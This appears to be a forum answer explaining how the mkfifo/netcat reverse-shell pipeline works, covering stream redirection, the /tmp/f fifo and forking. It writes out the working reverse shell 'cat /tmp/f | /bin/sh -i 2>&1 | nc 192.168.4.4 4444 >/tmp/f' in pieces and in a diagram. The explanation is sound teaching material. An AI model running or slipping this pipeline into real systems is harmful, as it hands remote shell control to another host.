Let's think in standard streams, stdin and stderr for a minute.
nc 192.168.4.4 4444 >/tmp/f
The stdout stream of nc gets duplicated to /tmp/f fifo, which means whatever it receives from the other machine over the network goes there. So where does stdin comes from ? From /bin/sh -i 2>&1. As far as nc is concerned, it just has to send that data back to the other machine.
Well, what does /bin/sh -i do ? It invokes interactive shell - the one where you type commands and print output to stdout. The user@host prompt is typically (if not always) printed to stderr, but we need to send that to remote machine, hence 2>&1 redirection is applied to send the prompt via pipe. Well, we can't use stdout to print the output - the shell has to send that to nc 192.168.4.4 4444 to be sent over the network. We can't read stdin either - cat /tmp/f will be using that to print whatever command is issued from the machine A in your example. Piping commands to the interactive shell isn't anything particularly special - when stdin is rewired an application isn't aware of it unless it is actively checking.
$ echo 'df' | sh -i
$ Filesystem 1K-blocks Used Available Use% Mounted on
udev 4000944 0 4000944 0% /dev
tmpfs 805348 1400 803948 1% /run
/dev/sda1 28717732 25907684 1328188 96% /
tmpfs 4026732 97496 3929236 3% /dev/shm
tmpfs 5120 4 5116 1% /run/lock
tmpfs 4026732 0 4026732 0% /sys/fs/cgroup
/dev/sdb1 115247656 99204832 10165476 91% /mnt/ubuntu
tmpfs 805344 32 805312 1% /run/user/1000
$
sh: 1: Cannot set tty process group (No such process)
So to put it briefly, shell reads commands from fifo and sends commands over the network via pipe to nc. The commands sent from remote to local shell are written by nc to the fifo. And so the loop goes on and on. The text-based data-flow diagram below also summarizes the same information
input data
|| /\
(in via network) \/ || (back via network `/bin/sh` via nc`)
cat /tmp/f == > /bin/sh -i 2>&1 ==> nc 192.168.4.4 4444 ==> /tmp/f ==||
/\ ||
|| \/
======================================================================
On the tangent note, notice that making a 3-command pipeline like that allows us to spawn these commands in one go (although the order is not guaranteed) in a much less convoluted way. If we were to do this manualy and have all as foreground processes, nc would have to be started first to listen in one shell, cat in the other shell, sh in the third. For the time it takes us to prepare them, it would block either read or write from the named fifo file /tmp/f, and it would also raise a question of how to sent output from cat to /bin/sh and from /bin/sh to nc , which may also add more named pipes. Using a pipe does three fork() calls, and three exec() calls in one shell, and allows us to make them all talk via file descriptors; regardless of the order in which they may start - this is much faster and less convoluted, though not the easiest to understand without knowing how pipes,file descriptors, and the commands behave.
IMPORTANT NOTE: traditional nc as protocol doesn't provide any security of information - commands and their output are transmitted over network in plain text and an attacker could potentially modify the data between machine A and B. If you do want to have secure way to issue commands to the remote machine via its shell - use ssh. The ssh protocol was designed specifically for that purpose. If you do intend to use secure protocol use openssl or ncat.